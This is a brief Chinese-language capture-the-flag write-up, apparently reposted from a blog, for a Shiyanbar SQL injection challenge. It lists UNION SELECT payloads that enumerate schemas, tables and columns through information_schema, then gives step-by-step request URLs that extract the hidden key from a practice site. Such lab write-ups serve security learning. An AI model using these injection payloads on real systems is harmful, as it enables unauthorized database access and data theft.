实验吧这题看起来很简单

知识点：查询库名：union select 1,schema_name from information_schema.schemata

　　　　查询表名：union select 1,table_name from information_schema.tables where table_schema=‘库名‘ 

　　　　查询字段名：union select 1,column_name from information_schema.columns where table_name=‘表名‘

　　　　查询信息：union select 1,名字 from 字段名

1.http://ctf5.shiyanbar.com/8/index.php?id=1 and 1 = 1

没变，说明存在注入漏洞

2.http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,schema_name from information_schema.schemata

3.http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,table_name from information_schema.tables where table_schema=‘my_db‘

4.http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,column_name from information_schema.columns where table_name=‘thiskey‘

5.http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,k0y from thiskey

实验吧这题看起来很简单

原文：https://www.cnblogs.com/liqik/p/10609238.html